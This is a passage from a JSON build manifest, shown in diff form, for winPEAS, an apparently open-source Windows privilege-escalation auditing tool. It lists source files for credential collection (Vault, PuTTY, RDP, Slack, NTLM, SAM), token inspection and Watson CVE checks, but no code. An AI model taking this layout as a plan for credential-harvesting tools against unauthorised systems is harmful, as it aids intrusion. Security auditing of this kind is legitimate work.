FileCreds\\Kerberos\\Structs.cs"},{"SourceFile":"KnownFileCreds\\KnownFileCredsInfo.cs"},{"SourceFile":"KnownFileCreds\\Putty.cs"},{"SourceFile":"KnownFileCreds\\RemoteDesktop.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\NtlmHashInfo.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecBuffer.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecBufferDesc.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecurityPackages.cs"},{"SourceFile":"KnownFileCreds\\Slack\\Slack.cs"},{"SourceFile":"KnownFileCreds\\SuperPutty\\SuperPutty.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Enums\\VAULT_ELEMENT_TYPE.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Enums\\VAULT_SCHEMA_ELEMENT_ID.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_ELEMENT.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN7.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN8.cs"},{"SourceFile":"KnownFileCreds\\Vault\\VaultCli.cs"},{"SourceFile":"Helpers\\MyUtils.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\Enums.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\SamServer.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\Structs.cs"},{"SourceFile":"Info\\UserInfo\\SID2GroupNameHelper.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Enums.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Structs.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Token.cs"},{"SourceFile":"Info\\UserInfo\\User.cs"},{"SourceFile":"Native\\Advapi32.cs"},{"SourceFile":"Native\\Classes\\SafeTokenHandle.cs"},{"SourceFile":"Native\\Classes\\UNICODE_STRING.cs"},{"SourceFile":"Native\\Enums\\AccessTypes.cs"},{"SourceFile":"Native\\Enums\\CredentialType.cs"},{"SourceFile":"Native\\Enums\\DS_NAME_FLAGS.cs"},{"SourceFile":"Native\\Enums\\DS_NAME_FORMAT.cs"},{"SourceFile":"Native\\Enums\\GPOLink.cs"},{"SourceFile":"Native\\Enums\\GPOOptions.cs"},{"SourceFile":"Native\\Enums\\NetJoinStatus.cs"},{"SourceFile":"Native\\Enums\\PrivilegeAttributes.cs"},{"SourceFile":"Native\\Enums\\SECURITY_IMPERSONATION_LEVEL.cs"},{"SourceFile":"Native\\Enums\\SECURITY_LOGON_TYPE.cs"},{"SourceFile":"Native\\Enums\\ServerTypes.cs"},{"SourceFile":"Native\\Enums\\SessionSecurity.cs"},{"SourceFile":"Native\\Enums\\SE_OBJECT_TYPE.cs"},{"SourceFile":"Native\\Enums\\SID_NAME_USE.cs"},{"SourceFile":"Native\\Enums\\TokenType.cs"},{"SourceFile":"Native\\Enums\\TOKEN_ELEVATION_TYPE.cs"},{"SourceFile":"Native\\Enums\\TOKEN_INFORMATION_CLASS.cs"},{"SourceFile":"Native\\Enums\\UserPrivType.cs"},{"SourceFile":"Native\\Enums\\WTS_INFO_CLASS.cs"},{"SourceFile":"Native\\Iphlpapi.cs"},{"SourceFile":"Native\\Ntdll.cs"},{"SourceFile":"Native\\Kernel32.cs"},{"SourceFile":"Native\\Netapi32.cs"},{"SourceFile":"Native\\Ntdsapi.cs"},{"SourceFile":"Native\\Psapi.cs"},{"SourceFile":"Native\\Samlib.cs"},{"SourceFile":"Native\\Secur32.cs"},{"SourceFile":"Native\\Structs\\DSREG_JOIN_INFO.cs"},{"SourceFile":"Native\\Structs\\DSREG_USER_INFO.cs"},{"SourceFile":"Native\\Structs\\LastInputInfo.cs"},{"SourceFile":"Native\\Structs\\LUID.cs"},{"SourceFile":"Native\\Structs\\LUID_AND_ATTRIBUTES.cs"},{"SourceFile":"Native\\Structs\\PRIVILEGE_SET.cs"},{"SourceFile":"Native\\Structs\\SID_AND_ATTRIBUTES.cs"},{"SourceFile":"Native\\Structs\\TOKEN_ELEVATION.cs"},{"SourceFile":"Native\\Structs\\TOKEN_MANDATORY_LABEL.cs"},{"SourceFile":"Native\\Structs\\TOKEN_PRIVILEGES.cs"},{"SourceFile":"Native\\Structs\\USER_INFO_3.cs"},{"SourceFile":"Native\\User32.cs"},{"SourceFile":"Native\\Vaultcli.cs"},{"SourceFile":"Native\\WlanApi.cs"},{"SourceFile":"Native\\Wtsapi32.cs"},{"SourceFile":"TaskScheduler\\AccessControlExtension.cs"},{"SourceFile":"TaskScheduler\\Action.cs"},{"SourceFile":"TaskScheduler\\ActionCollection.cs"},{"SourceFile":"TaskScheduler\\CultureSwitcher.cs"},{"SourceFile":"TaskScheduler\\EnumGlobalizer.cs"},{"SourceFile":"TaskScheduler\\EnumUtil.cs"},{"SourceFile":"TaskScheduler\\JetBrains.Annotations.cs"},{"SourceFile":"TaskScheduler\\NamedValueCollection.cs"},{"SourceFile":"TaskScheduler\\NotV1SupportedException.cs"},{"SourceFile":"TaskScheduler\\ReflectionHelper.cs"},{"SourceFile":"TaskScheduler\\Task.cs"},{"SourceFile":"TaskScheduler\\TaskCollection.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\InteropUtil.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\NetServerEnum.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\NTDSAPI.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\SYSTEMTIME.cs"},{"SourceFile":"TaskScheduler\\TaskEvent.cs"},{"SourceFile":"TaskScheduler\\TaskFolder.cs"},{"SourceFile":"TaskScheduler\\TaskFolderCollection.cs"},{"SourceFile":"TaskScheduler\\TaskHandlerInterfaces.cs"},{"SourceFile":"TaskScheduler\\TaskSecurity.cs"},{"SourceFile":"TaskScheduler\\TaskService.cs"},{"SourceFile":"TaskScheduler\\Trigger.cs"},{"SourceFile":"TaskScheduler\\TriggerCollection.cs"},{"SourceFile":"TaskScheduler\\User.cs"},{"SourceFile":"TaskScheduler\\V1\\TaskSchedulerV1Interop.cs"},{"SourceFile":"TaskScheduler\\V2\\TaskSchedulerV2Interop.cs"},{"SourceFile":"TaskScheduler\\Wildcard.cs"},{"SourceFile":"TaskScheduler\\WindowsImpersonatedIdentity.cs"},{"SourceFile":"TaskScheduler\\XmlSerializationHelper.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Enums.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Structs.cs"},{"SourceFile":"Info\\NetworkInfo\\Firewall.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkInfoHelper.cs"},{"SourceFile":"Info\\ProcessInfo\\DefensiveProcesses.cs"},{"SourceFile":"Info\\ProcessInfo\\InterestingProcesses.cs"},{"SourceFile":"Info\\ProcessInfo\\ProcessesInfo.cs"},{"SourceFile":"Program.cs"},{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"Properties\\Resources.Designer.cs"},{"SourceFile":"Info\\ServicesInfo\\ServicesInfoHelper.cs"},{"SourceFile":"Info\\SystemInfo\\SystemInfo.cs"},{"SourceFile":"Info\\UserInfo\\UserInfoHelper.cs"},{"SourceFile":"Helpers\\DomainHelper.cs"},{"SourceFile":"Helpers\\CheckRunner.cs"},{"SourceFile":"Helpers\\ReflectionHelper.cs"},{"SourceFile":"Helpers\\Registry\\RegistryHelper.cs"},{"SourceFile":"Helpers\\Search\\SearchHelper.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-0836.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-0841.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1064.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1130.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1253.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1315.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1385.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1388.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1405.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0668.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0683.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-1013.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0796.cs"},{"SourceFile":"3rdParty\\Watson\\Vulnerability.cs"},{"SourceFile":"3rdParty\\Watson\\VulnerabilityCollection.cs"},{"SourceFile":"3rdParty\\Watson\\Watson.cs"},{"SourceFile":"3rdParty\\Watson\\Wmi.cs"},{"SourceFile":"Wifi\\Wifi.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Interop.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\WlanClient.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.SqlServer.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Newtonsoft.Json.13.0.3\\lib\\net45\\Newtonsoft.Json.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ComponentModel.DataAnnotations.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\lib\\net451\\System.Data.SQLite.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.EF6.1.0.119.0\\lib\\net451\\System.Data.SQLite.EF6.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.Linq.1.0.119.0\\lib\\net451\\System.Data.SQLite.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.DirectoryServices.AccountManagement.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Management.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Net.Http.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Security.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ServiceProcess.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Transactions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Web.Extensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Windows.Forms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS\\bin\\Debug\\winPEAS.exe","OutputItemRelativePath":"winPEAS.exe"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]} \ No newline at end of file +{"RootPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS","ProjectFileName":"winPEAS.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"3rdParty\\AlphaFS\\Device\\ChangeErrorMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Device.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DeviceInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DiskSpaceInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DriveInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DefineDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteVolumeMountPoint.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DiskFreeSpace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DriveType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumeMountPoints.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumePathNames.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveFormat.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveNameForNtDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetUniqueVolumeNameForPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDisplayName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuidForNtDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumePathName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsReady.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsSameVolume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsVolume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.QueryDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.SetVolumeMountPoint.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.VolumeLabel.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\VolumeInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\ByHandleFileInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveArguments.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveProgressRoutine.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveResult.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.CompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DecompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompressionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompressionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Copy.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyFolderTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Move.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.MoveTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.ValidateMoveAction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CompressDecompressCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteEmptySubdirectoriesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnableDisableEncryptionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EncryptDecryptDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileIdBothDirectoryInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileSystemEntryInfosCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.ExistsJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetDirectoryRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetParentCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetPropertiesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.IsEmptyCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.DisableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.EnableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ExportEncryptedDirectoryRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ImportEncryptedDirectoryRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory 